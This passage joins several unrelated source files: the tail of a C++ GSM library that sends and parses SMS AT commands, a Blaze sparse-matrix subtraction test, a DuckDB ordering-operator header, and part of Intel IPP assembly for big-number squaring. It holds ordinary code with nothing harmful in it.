Index = CMGR_INDEX_OFFSET + Gsm.ConvertNumberToChar(SmsIndex, ((uint8_t *)(Gsm.GSM_Data_Array) + CMGR_INDEX_OFFSET), 0);
Gsm.GSM_Data_Array[Index++] = ASCII_COMMA;
if (Mode == STATE_CHANGE) {
// Change SMS State
Gsm.GSM_Data_Array[Index++] = ASCII_0;
} else {
// No Change SMS State
Gsm.GSM_Data_Array[Index++] = ASCII_1;
}
Gsm.GSM_Data_Array[Index++] = ASCII_CARRIAGE_RET;
Gsm.GSM_Data_Array[Index++] = ASCII_LINE_FEED;
Gsm.WritePointer = Index;
Gsm.StartSendData(CMD_SMS_IDLE, WAIT_ANSWER_CMD_AT_CMGR, ANSWER_SMS_AT_CMD_STATE);
}
return(1); // Command sent
}
/****************************************************************************/
/****************************************************************************
* Function: SetCmd_AT_CMGS
*
* Overview: This function is used to Send SMS Message. For details see AT commands datasheet
*
* PreCondition: None
*
* GSM cmd syntax: AT+CMGS=<da>[,<toda>]<CR>text is entered<SUB/ESC>
*
* Input: None
*
* Command Note: This command is splitted in two step:
* 1) The first step sends a phone number
* 2) The second step sends a text (Max 160 chars)
*
* Output: Return unsigned char
* Return -> 0 (System Busy. Command not executed)
* Return -> 1 (Command sent)
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a public function
*****************************************************************************/
uint8_t SmsCmd_GSM::SetCmd_AT_CMGS(void) {
uint8_t Index;
uint8_t StrLenght;
if ((Gsm.StateWaitAnswerCmd != CMD_WAIT_IDLE) || (Gsm.UartState != UART_IDLE_STATE) || (Gsm.GsmFlag.Bit.CringOccurred == 1)) {
return(0); // System Busy
} else {
Gsm.ClearBuffer(&Gsm.GSM_Data_Array[0], sizeof(Gsm.GSM_Data_Array));
//Gsm.ResetAllFlags();
Gsm.ResetGsmFlags();
Gsm.ResetSmsFlags();
Gsm.GsmFlag.Bit.GsmSendCmdInProgress = 1;
SmsFlag.Bit.SendSmsInProgress = 1;
Gsm.ReadStringFLASH((uint8_t *)AT_CMGS, (uint8_t *)Gsm.GSM_Data_Array, strlen(AT_CMGS));
Index = CMGS_INDEX_OFFSET;
StrLenght = strlen(PhoneBook.PhoneNumber);
strncat((char *)(&Gsm.GSM_Data_Array[Index]), (char *)(&PhoneBook.PhoneNumber[0]), StrLenght);
Index += StrLenght;
Gsm.GSM_Data_Array[Index++] = ASCII_CARRIAGE_RET;
Gsm.WritePointer = Index;
Gsm.StartSendData(CMD_SMS_IDLE, WAIT_ANSWER_CMD_AT_CMGS_STEP1, ANSWER_SMS_AT_CMD_STATE);
}
return(1); // Command sent
}
/****************************************************************************/
/****************************************************************************
* Function: SetCmd_AT_CMGW
*
* Overview: This function is used to Write SMS Message to Memory. For details see AT commands datasheet
*
* PreCondition: None
*
* GSM cmd syntax: AT+CMGW=<da>[,<toda>]<CR>text is entered<SUB/ESC>
*
* Input: None
*
* Command Note: This command is splitted in two step:
* 1) The first step sends a phone number
* 2) The second step sends a text (Max 160 chars)
*
* Output: Return unsigned char
* Return -> 0 (System Busy. Command not executed)
* Return -> 1 (Command sent)
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a public function
*****************************************************************************/
uint8_t SmsCmd_GSM::SetCmd_AT_CMGW(void) {
uint8_t Index;
uint8_t StrLenght;
if ((Gsm.StateWaitAnswerCmd != CMD_WAIT_IDLE) || (Gsm.UartState != UART_IDLE_STATE) || (Gsm.GsmFlag.Bit.CringOccurred == 1)) {
return(0); // System Busy
} else {
Gsm.ClearBuffer(&Gsm.GSM_Data_Array[0], sizeof(Gsm.GSM_Data_Array));
//Gsm.ResetAllFlags();
Gsm.ResetGsmFlags();
Gsm.ResetSmsFlags();
Gsm.GsmFlag.Bit.GsmSendCmdInProgress = 1;
SmsFlag.Bit.WriteSmsInProgress = 1;
Gsm.ReadStringFLASH((uint8_t *)AT_CMGW, (uint8_t *)Gsm.GSM_Data_Array, strlen(AT_CMGW));
Index = CMGW_INDEX_OFFSET;
StrLenght = strlen(PhoneBook.PhoneNumber);
strncat((char *)(&Gsm.GSM_Data_Array[Index]), (char *)(&PhoneBook.PhoneNumber[0]), StrLenght);
Index += StrLenght;
Gsm.GSM_Data_Array[Index++] = ASCII_CARRIAGE_RET;
Gsm.WritePointer = Index;
Gsm.StartSendData(CMD_SMS_IDLE, WAIT_ANSWER_CMD_AT_CMGW_STEP1, ANSWER_SMS_AT_CMD_STATE);
}
return(1); // Command sent
}
/****************************************************************************/
/****************************************************************************
* Function: SetCmd_AT_CMSS
*
* Overview: This function is used to Send SMS Message from Memory. For details see AT commands datasheet
*
* PreCondition: None
*
* GSM cmd syntax: AT+CMSS=<index>,<da>[,<toda>]
*
* Input: SmsIndex: Memory index
*
* Command Note: None
*
* Output: Return unsigned char
* Return -> 0 (System Busy. Command not executed)
* Return -> 1 (Command sent)
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a public function
*****************************************************************************/
uint8_t SmsCmd_GSM::SetCmd_AT_CMSS(uint8_t SmsIndex) {
uint8_t Index;
uint8_t StrLenght;
if ((Gsm.StateWaitAnswerCmd != CMD_WAIT_IDLE) || (Gsm.UartState != UART_IDLE_STATE) || (Gsm.GsmFlag.Bit.CringOccurred == 1)) {
return(0); // System Busy
} else {
Gsm.ClearBuffer(&Gsm.GSM_Data_Array[0], sizeof(Gsm.GSM_Data_Array));
//Gsm.ResetAllFlags();
Gsm.ResetGsmFlags();
Gsm.ResetSmsFlags();
Gsm.GsmFlag.Bit.GsmSendCmdInProgress = 1;
Gsm.GsmFlag.Bit.UartTimeOutSelect = T_1S_UART_TIMEOUT;
Gsm.BckCmdData[0] = SmsIndex;
Gsm.ReadStringFLASH((uint8_t *)AT_CMSS, (uint8_t *)Gsm.GSM_Data_Array, strlen(AT_CMSS));
Index = CMSS_INDEX_OFFSET + Gsm.ConvertNumberToChar(SmsIndex, ((uint8_t *)(Gsm.GSM_Data_Array) + CMSS_INDEX_OFFSET), 0);
Gsm.GSM_Data_Array[Index++] = ASCII_CARRIAGE_RET;
Gsm.GSM_Data_Array[Index++] = ASCII_LINE_FEED;
Gsm.WritePointer = Index;
Gsm.StartSendData(CMD_SMS_IDLE, WAIT_ANSWER_CMD_AT_CMSS, ANSWER_SMS_AT_CMD_STATE);
}
return(1); // Command sent
}
/****************************************************************************/
/****************************************************************************
* Function: GsmSmsWaitAnswer
*
* Overview: This function process the AT command answer of the command sent.
* The answer received and processed by this code regard the Generic Command Functions
* implemented in this library file
*
* PreCondition: None
*
* GSM cmd syntax: None
*
* Input: None
*
* Command Note: None
*
* Output: None
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a public function
*****************************************************************************/
void SmsCmd_GSM::GsmSmsWaitAnswer(void) {
uint8_t StrPointer = 0xFF;
uint8_t Offset;
uint8_t StrLenght;
uint8_t Counter;
uint8_t Mul;
if ((Gsm.StateSendCmd != CMD_SMS_IDLE) || (Gsm.UartState != UART_IDLE_STATE)) {
return;
}
if (Gsm.UartFlag.Bit.ReceivedAnswer == 0) {
return;
}
Gsm.UartFlag.Bit.ReceivedAnswer = 0;
if (Gsm.GsmFlag.Bit.CringOccurred == 1) {
// CRING OCCURRED. CMD SEND ABORTED
Gsm.RetryCounter = 0;
Gsm.GsmFlag.Bit.GsmSendCmdInProgress = 0;
Gsm.StateWaitAnswerCmd = CMD_WAIT_IDLE;
return;
}
if (Gsm.ReadPointer > 0) {
if (Gsm.TestAT_Cmd_Answer((uint8_t *)AT_ANSW_OK, (uint8_t *)Gsm.TempStringCompare, strlen(AT_ANSW_OK)) != 0xFF) {
Gsm.RetryCounter = 0;
Gsm.GsmFlag.Bit.GsmSendCmdInProgress = 0;
switch (Gsm.StateWaitAnswerCmd)
{
case WAIT_ANSWER_CMD_AT_CPMS:
if (Gsm.TestAT_Cmd_Answer((uint8_t *)AT_ANSW_CPMS, (uint8_t *)Gsm.TempStringCompare, strlen(AT_ANSW_CPMS)) != 0xFF) {
if (Gsm.FindColonCommaCarriageRet() != 0xFF) {
Sms_Mem1_Storage.Used = 0;
Sms_Mem2_Storage.Used = 0;
Sms_Mem3_Storage.Used = 0;
Sms_Mem1_Storage.Total = 0;
Sms_Mem2_Storage.Total = 0;
Sms_Mem3_Storage.Total = 0;
if (Gsm.BckCmdData[3] == false) {
FindUsedSmsMemory(1, 0, 1);
FindTotalSmsMemory(1, 1, 2);
FindUsedSmsMemory(2, 2, 3);
FindTotalSmsMemory(2, 3, 4);
FindUsedSmsMemory(3, 4, 5);
FindTotalSmsMemory(3, 5, 6);
} else {
FindUsedSmsMemory(1, 1, 2);
FindTotalSmsMemory(1, 2, 3);
FindUsedSmsMemory(2, 4, 5);
FindTotalSmsMemory(2, 5, 6);
FindUsedSmsMemory(3, 7, 8);
FindTotalSmsMemory(3, 8, 9);
}
}
}
break;
case WAIT_ANSWER_CMD_AT_CMGR:
if (Gsm.TestAT_Cmd_Answer((uint8_t *)AT_ANSW_CMGR_RU, (uint8_t *)Gsm.TempStringCompare, strlen(AT_ANSW_CMGR_RU)) != 0xFF) {
// REC UNREAD
SmsFlag.Bit.SmsReadStat = SMS_REC_UNREAD;
} else if (Gsm.TestAT_Cmd_Answer((uint8_t *)AT_ANSW_CMGR_RR, (uint8_t *)Gsm.TempStringCompare, strlen(AT_ANSW_CMGR_RR)) != 0xFF) {
// REC READ
SmsFlag.Bit.SmsReadStat = SMS_REC_READ;
} else if (Gsm.TestAT_Cmd_Answer((uint8_t *)AT_ANSW_CMGR_SU, (uint8_t *)Gsm.TempStringCompare, strlen(AT_ANSW_CMGR_SU)) != 0xFF) {
// STO UNSENT
SmsFlag.Bit.SmsReadStat = SMS_STO_UNSENT;
} else if (Gsm.TestAT_Cmd_Answer((uint8_t *)AT_ANSW_CMGR_SS, (uint8_t *)Gsm.TempStringCompare, strlen(AT_ANSW_CMGR_SS)) != 0xFF) {
// STO SENT
SmsFlag.Bit.SmsReadStat = SMS_STO_SENT;
}
if (Gsm.FindColonCommaCarriageRet() != 0xFF) {
// Reads Phone Number
Gsm.ExtractCharArray((char *)(&PhoneBook.PhoneNumber[0]), (char *)(&Gsm.GSM_Data_Array[Gsm.CharPointers[1] + 1]), sizeof(PhoneBook.PhoneNumber), ASCII_COMMA);
// Reads Text associated to the Phone Number
Gsm.ExtractCharArray((char *)(&PhoneBook.PhoneText[0]), (char *)(&Gsm.GSM_Data_Array[Gsm.CharPointers[2] + 1]), sizeof(PhoneBook.PhoneText), ASCII_COMMA);
if ((SmsFlag.Bit.SmsReadStat == SMS_STO_SENT) || (SmsFlag.Bit.SmsReadStat == SMS_STO_UNSENT)) {
Offset = 3;
} else {
Offset = 7;
}
// Reads SMS Text
Gsm.ExtractCharArray((char *)(&Sms.SmsText[0]), (char *)(&Gsm.GSM_Data_Array[Gsm.CharPointers[Offset] + 2]), sizeof(Sms.SmsText), ASCII_CARRIAGE_RET);
}
SmsFlag.Bit.SmsReadOk = 1;
break;
case WAIT_ANSWER_CMD_AT_CMGW_STEP2:
case WAIT_ANSWER_CMD_AT_CMGS_STEP2:
if (SmsFlag.Bit.SendSmsInProgress == 1) {
StrPointer = Gsm.TestAT_Cmd_Answer((uint8_t *)AT_ANSW_CMGS, (uint8_t *)Gsm.TempStringCompare, strlen(AT_ANSW_CMGS));
}
if (SmsFlag.Bit.WriteSmsInProgress == 1) {
StrPointer = Gsm.TestAT_Cmd_Answer((uint8_t *)AT_ANSW_CMGW, (uint8_t *)Gsm.TempStringCompare, strlen(AT_ANSW_CMGW));
}
if (StrPointer != 0xFF) {
if (Gsm.FindColonCommaCarriageRet() != 0xFF) {
if (SmsFlag.Bit.SendSmsInProgress == 1) {
SmsOutgoingCounter = (uint8_t)(Gsm.ExtractParameterByte((Gsm.CharPointers[0] + 2), (Gsm.CharPointers[1] - (Gsm.CharPointers[0] + 2))));
}
if (SmsFlag.Bit.WriteSmsInProgress == 1) {
SmsWriteMemoryAdd = (uint8_t)(Gsm.ExtractParameterByte((Gsm.CharPointers[0] + 2), (Gsm.CharPointers[1] - (Gsm.CharPointers[0] + 2))));
}
}
}
SmsFlag.Bit.SendSmsInProgress = 0;
SmsFlag.Bit.WriteSmsInProgress = 0;
break;
default:
break;
}
Gsm.StateWaitAnswerCmd = CMD_WAIT_IDLE;
} else if (Gsm.TestAT_Cmd_Answer((uint8_t *)AT_MAJOR, (uint8_t *)Gsm.TempStringCompare, strlen(AT_MAJOR)) != 0xFF) {
switch (Gsm.StateWaitAnswerCmd)
{
case CMD_WAIT_IDLE:
break;
case WAIT_ANSWER_CMD_AT_CMGS_STEP1:
case WAIT_ANSWER_CMD_AT_CMGW_STEP1:
Gsm.ClearBuffer(&Gsm.GSM_Data_Array[0], sizeof(Gsm.GSM_Data_Array));
StrLenght = strlen(SmsText);
strncat((char *)(&Gsm.GSM_Data_Array[0]), (char *)(&Sms.SmsText[0]), StrLenght);
Offset = StrLenght;
Gsm.GSM_Data_Array[Offset] = ASCII_SUB;
Gsm.WritePointer = Offset + 1;
Gsm.StartSendData(CMD_SMS_IDLE, WAIT_ANSWER_CMD_AT_CMGS_STEP2, ANSWER_SMS_AT_CMD_STATE);
Gsm.GsmFlag.Bit.UartTimeOutSelect = T_7S5_UART_TIMEOUT;
break;
default:
break;
}
} else {
Gsm.ProcessGsmError();
GsmSmsRetrySendCmd();
}
} else {
// If no answer from GSM module is received, this means that this GSM module is probabily OFF
Gsm.InitReset_GSM();
}
}
/****************************************************************************/
/****************************************************************************
* Function: GsmSmsRetrySendCmd
*
* Overview: This function retry to send AT command for a maximum of three time
*
* PreCondition: None
*
* GSM cmd syntax: None
*
* Input: None
*
* Command Note: None
*
* Output: None
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a public function
*****************************************************************************/
void SmsCmd_GSM::GsmSmsRetrySendCmd(void) {
uint8_t AnswerCmdStateBackup;
if (Gsm.RetryCounter++ < 2) {
AnswerCmdStateBackup = Gsm.StateWaitAnswerCmd;
Gsm.StateWaitAnswerCmd = CMD_WAIT_IDLE;
switch (AnswerCmdStateBackup)
{
case WAIT_ANSWER_CMD_AT_CMSS:
SetCmd_AT_CMSS(Gsm.BckCmdData[0]);
break;
case WAIT_ANSWER_CMD_AT_CPMS:
SetCmd_AT_CPMS(Gsm.BckCmdData[0], Gsm.BckCmdData[1], Gsm.BckCmdData[2], Gsm.BckCmdData[3]);
break;
case WAIT_ANSWER_CMD_AT_CMGD:
SetCmd_AT_CMGD(Gsm.BckCmdData[0], Gsm.BckCmdData[1]);
break;
case WAIT_ANSWER_CMD_AT_CMGR:
SetCmd_AT_CMGR(Gsm.BckCmdData[0], Gsm.BckCmdData[1]);
break;
case WAIT_ANSWER_CMD_AT_CMGS_STEP1:
SetCmd_AT_CMGS();
break;
case WAIT_ANSWER_CMD_AT_CMGW_STEP1:
SetCmd_AT_CMGW();
break;
default:
break;
}
} else {
if (Gsm.GsmFlag.Bit.NoAutoResetGsmError != 1) {
Gsm.InitReset_GSM();
}
}
}
/****************************************************************************/
/****************************************************************************
* Function: FlashAddSmsTypeMem
*
* Overview: This function return the FLASH address pointer for SMS Memory storage available
*
* PreCondition: None
*
* GSM cmd syntax: None
*
* Input: TypeOfMem: Type of memory to be used
*
* Command Note: None
*
* Output: None
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a private function
*****************************************************************************/
void SmsCmd_GSM::FlashAddSmsTypeMem(uint8_t TypeOfMem) {
switch (TypeOfMem)
{
case CODE_SMS_SM: // SM -> It refers to the message storage area on the SIM card
FlashSmsMemTypeAdd = (uint8_t *)SMS_SM;
break;
case CODE_SMS_ME: // ME -> It refers to the message storage area on the GSM/GPRS modem or mobile phone
FlashSmsMemTypeAdd = (uint8_t *)SMS_ME;
break;
case CODE_SMS_MT: // MT -> It refers to all message storage areas associated with the GSM/GPRS modem or mobile phone
FlashSmsMemTypeAdd = (uint8_t *)SMS_MT;
break;
default:
FlashSmsMemTypeAdd = (uint8_t *)SMS_SM;
break;
}
}
/****************************************************************************/
/****************************************************************************
* Function: FindSmsMemoryType
*
* Overview: This function return the code of SMS Memory selected
*
* PreCondition: None
*
* GSM cmd syntax: None
*
* Input: None
*
* Command Note: None
*
* Output: SMS Memory storage available code
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a private function
*****************************************************************************/
uint8_t SmsCmd_GSM::FindSmsMemoryType(void) {
uint8_t StrPointer = 0xFF;
StrPointer = Gsm.TestAT_Cmd_Answer((uint8_t *)SMS_SM, (uint8_t *)Gsm.TempStringCompare, strlen(SMS_SM));
if (StrPointer != 0xFF) {
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
return(CODE_SMS_SM);
}
StrPointer = 0xFF;
StrPointer = Gsm.TestAT_Cmd_Answer((uint8_t *)SMS_ME, (uint8_t *)Gsm.TempStringCompare, strlen(SMS_ME));
if (StrPointer != 0xFF) {
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
return(CODE_SMS_ME);
}
StrPointer = 0xFF;
StrPointer = Gsm.TestAT_Cmd_Answer((uint8_t *)SMS_MT, (uint8_t *)Gsm.TempStringCompare, strlen(SMS_MT));
if (StrPointer != 0xFF) {
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
Gsm.GSM_Data_Array[StrPointer++] = ASCII_SPACE;
return(CODE_SMS_MT);
}
return(0xFF);
}
/****************************************************************************/
/****************************************************************************
* Function: FindUsedSmsMemory
*
* Overview: This function return the code of SMS Memory selected
*
* PreCondition: None
*
* GSM cmd syntax: None
*
* Input: Mem: Memory selected
* StartAdd: Start Address
* EndAdd: End Address
*
* Command Note: None
*
* Output: None
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a private function
*****************************************************************************/
void SmsCmd_GSM::FindUsedSmsMemory(uint8_t Mem, uint8_t StartAdd, uint8_t EndAdd) {
uint8_t Counter;
uint8_t Mul;
uint8_t TmpData = 0xFF;
TmpData = FindSmsMemoryType();
Counter = Gsm.CharPointers[StartAdd] + 1;
Mul = Gsm.CharPointers[EndAdd] - (Gsm.CharPointers[StartAdd] + 1);
if (Gsm.BckCmdData[3] == false) {
if (Mem == 1) {
Counter = Gsm.CharPointers[StartAdd] + 2;
Mul = Gsm.CharPointers[EndAdd] - (Gsm.CharPointers[StartAdd] + 2);
}
}
do {
switch (Mem)
{
case 1:
if (Gsm.BckCmdData[3] == true) {
if (TmpData != 0xFF) {
Sms_Mem1_Storage.Type = TmpData;
TmpData = 0xFF;
}
}
if ((Gsm.GSM_Data_Array[Counter] >= ASCII_0) && (Gsm.GSM_Data_Array[Counter] <= ASCII_9)) {
Sms_Mem1_Storage.Used += (uint8_t(Gsm.GSM_Data_Array[Counter++] - 0x30)) * uint8_t(Gsm.MyPow(10, (Mul-1)));
}
break;
case 2:
if (Gsm.BckCmdData[3] == true) {
if (TmpData != 0xFF) {
Sms_Mem2_Storage.Type = TmpData;
TmpData = 0xFF;
}
}
if ((Gsm.GSM_Data_Array[Counter] >= ASCII_0) && (Gsm.GSM_Data_Array[Counter] <= ASCII_9)) {
Sms_Mem2_Storage.Used += (uint8_t(Gsm.GSM_Data_Array[Counter++] - 0x30)) * uint8_t(Gsm.MyPow(10, (Mul-1)));
}
break;
case 3:
if (Gsm.BckCmdData[3] == true) {
if (TmpData != 0xFF) {
Sms_Mem3_Storage.Type = TmpData;
TmpData = 0xFF;
}
}
if ((Gsm.GSM_Data_Array[Counter] >= ASCII_0) && (Gsm.GSM_Data_Array[Counter] <= ASCII_9)) {
Sms_Mem3_Storage.Used += (uint8_t(Gsm.GSM_Data_Array[Counter++] - 0x30)) * uint8_t(Gsm.MyPow(10, (Mul-1)));
}
break;
default:
break;
}
} while (Mul-- > 1);
}
/****************************************************************************/
/****************************************************************************
* Function: FindTotalSmsMemory
*
* Overview: This function check SMS Memory lenght
*
* PreCondition: None
*
* GSM cmd syntax: None
*
* Input: Mem: Memory selected
* StartAdd: Start Address
* EndAdd: End Address
*
* Command Note: None
*
* Output: None
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a private function
*****************************************************************************/
void SmsCmd_GSM::FindTotalSmsMemory(uint8_t Mem, uint8_t StartAdd, uint8_t EndAdd) {
uint8_t Counter;
uint8_t Mul;
Counter = Gsm.CharPointers[StartAdd] + 1;
Mul = Gsm.CharPointers[EndAdd] - (Gsm.CharPointers[StartAdd] + 1);
do {
switch (Mem)
{
case 1:
Sms_Mem1_Storage.Total += (uint8_t(Gsm.GSM_Data_Array[Counter++] - 0x30)) * uint8_t(Gsm.MyPow(10, (Mul-1)));
break;
case 2:
Sms_Mem2_Storage.Total += (uint8_t(Gsm.GSM_Data_Array[Counter++] - 0x30)) * uint8_t(Gsm.MyPow(10, (Mul-1)));
break;
case 3:
Sms_Mem3_Storage.Total += (uint8_t(Gsm.GSM_Data_Array[Counter++] - 0x30)) * uint8_t(Gsm.MyPow(10, (Mul-1)));
break;
default:
break;
}
} while (Mul-- > 1);
}
/****************************************************************************/ |
//=================================================================================================
/*!
// \file src/mathtest/smatsmatsub/LCaMCb.cpp
// \brief Source file for the LCaMCb sparse matrix/sparse matrix subtraction math test
//
// Copyright (C) 2012-2019 Klaus Iglberger - All Rights Reserved
//
// This file is part of the Blaze library. You can redistribute it and/or modify it under
// the terms of the New (Revised) BSD License. Redistribution and use in source and binary
// forms, with or without modification, are permitted provided that the following conditions
// are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list
// of conditions and the following disclaimer in the documentation and/or other materials
// provided with the distribution.
// 3. Neither the names of the Blaze development group nor the names of its contributors
// may be used to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
// OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
// SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
// TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
// BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
// ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
// DAMAGE.
*/
//=================================================================================================
//*************************************************************************************************
// Includes
//*************************************************************************************************
#include <cstdlib>
#include <iostream>
#include <blaze/math/CompressedMatrix.h>
#include <blaze/math/LowerMatrix.h>
#include <blazetest/mathtest/Creator.h>
#include <blazetest/mathtest/smatsmatsub/OperationTest.h>
#include <blazetest/system/MathTest.h>
#ifdef BLAZE_USE_HPX_THREADS
# include <hpx/hpx_main.hpp>
#endif
//=================================================================================================
//
// MAIN FUNCTION
//
//=================================================================================================
//*************************************************************************************************
int main()
{
std::cout << " Running 'LCaMCb'..." << std::endl;
using blazetest::mathtest::TypeA;
using blazetest::mathtest::TypeB;
try
{
// Matrix type definitions
using LCa = blaze::LowerMatrix< blaze::CompressedMatrix<TypeA> >;
using MCb = blaze::CompressedMatrix<TypeB>;
// Creator type definitions
using CLCa = blazetest::Creator<LCa>;
using CMCb = blazetest::Creator<MCb>;
// Running tests with small matrices
for( size_t i=0UL; i<=6UL; ++i ) {
for( size_t j=0UL; j<=LCa::maxNonZeros( i ); ++j ) {
for( size_t k=0UL; k<=i*i; ++k ) {
RUN_SMATSMATSUB_OPERATION_TEST( CLCa( i, j ), CMCb( i, i, k ) );
}
}
}
// Running tests with large matrices
RUN_SMATSMATSUB_OPERATION_TEST( CLCa( 67UL, 7UL ), CMCb( 67UL, 67UL, 13UL ) );
RUN_SMATSMATSUB_OPERATION_TEST( CLCa( 128UL, 16UL ), CMCb( 128UL, 128UL, 8UL ) );
}
catch( std::exception& ex ) {
std::cerr << "\n\n ERROR DETECTED during sparse matrix/sparse matrix subtraction:\n"
<< ex.what() << "\n";
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
//*************************************************************************************************
|
//===----------------------------------------------------------------------===//
// DuckDB
//
// duckdb/execution/operator/order/physical_order.hpp
//
//
//===----------------------------------------------------------------------===//
#pragma once
#include "duckdb/common/types/chunk_collection.hpp"
#include "duckdb/execution/physical_sink.hpp"
#include "duckdb/planner/bound_query_node.hpp"
namespace duckdb {
//! Represents a physical ordering of the data. Note that this will not change
//! the data but only add a selection vector.
class PhysicalOrder : public PhysicalSink {
public:
PhysicalOrder(vector<LogicalType> types, vector<BoundOrderByNode> orders, idx_t estimated_cardinality)
: PhysicalSink(PhysicalOperatorType::ORDER_BY, move(types), estimated_cardinality), orders(move(orders)) {
}
vector<BoundOrderByNode> orders;
public:
void Sink(ExecutionContext &context, GlobalOperatorState &state, LocalSinkState &lstate, DataChunk &input) override;
void Finalize(Pipeline &pipeline, ClientContext &context, unique_ptr<GlobalOperatorState> state) override;
unique_ptr<GlobalOperatorState> GetGlobalState(ClientContext &context) override;
void GetChunkInternal(ExecutionContext &context, DataChunk &chunk, PhysicalOperatorState *state) override;
unique_ptr<PhysicalOperatorState> GetOperatorState() override;
string ParamsToString() const override;
};
} // namespace duckdb
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.p2align 5, 0x90
.globl _cpSqrAdc_BNU_school
_cpSqrAdc_BNU_school:
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
sub $(40), %rsp
cmp $(4), %edx
jg .Lmore_then_4gas_1
cmp $(3), %edx
jg .LSQR4gas_1
je .LSQR3gas_1
jp .LSQR2gas_1
.p2align 5, 0x90
.LSQR1gas_1:
movq (%rsi), %rax
mul %rax
movq %rax, (%rdi)
mov %rdx, %rax
movq %rdx, (8)(%rdi)
mov %rdx, %rax
add $(40), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.p2align 5, 0x90
.LSQR2gas_1:
movq (%rsi), %rax
mulq (8)(%rsi)
xor %rcx, %rcx
mov %rax, %r10
mov %rdx, %r11
movq (%rsi), %rax
mul %rax
add %r10, %r10
adc %r11, %r11
adc $(0), %rcx
mov %rax, %r8
mov %rdx, %r9
movq (8)(%rsi), %rax
mul %rax
movq %r8, (%rdi)
add %r10, %r9
movq %r9, (8)(%rdi)
adc %r11, %rax
movq %rax, (16)(%rdi)
adc %rcx, %rdx
movq %rdx, (24)(%rdi)
mov %rdx, %rax
add $(40), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.p2align 5, 0x90
.LSQR3gas_1:
mov (%rsi), %r8
mov (8)(%rsi), %r9
mov (16)(%rsi), %r10
mov %r8, %rcx
mov %r9, %rax
mul %rcx
mov %rax, %r8
mov %rdx, %r9
mov %r10, %rax
mul %rcx
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
movq (8)(%rsi), %rax
mulq (16)(%rsi)
xor %r11, %r11
add %rax, %r10
adc %rdx, %r11
xor %rcx, %rcx
add %r8, %r8
adc %r9, %r9
adc %r10, %r10
adc %r11, %r11
adc %rcx, %rcx
movq (%rsi), %rax
mul %rax
mov %rax, %r12
mov %rdx, %r13
movq (8)(%rsi), %rax
mul %rax
mov %rax, %r14
mov %rdx, %r15
movq (16)(%rsi), %rax
mul %rax
movq %r12, (%rdi)
add %r8, %r13
movq %r13, (8)(%rdi)
adc %r9, %r14
movq %r14, (16)(%rdi)
adc %r10, %r15
movq %r15, (24)(%rdi)
adc %r11, %rax
movq %rax, (32)(%rdi)
adc %rcx, %rdx
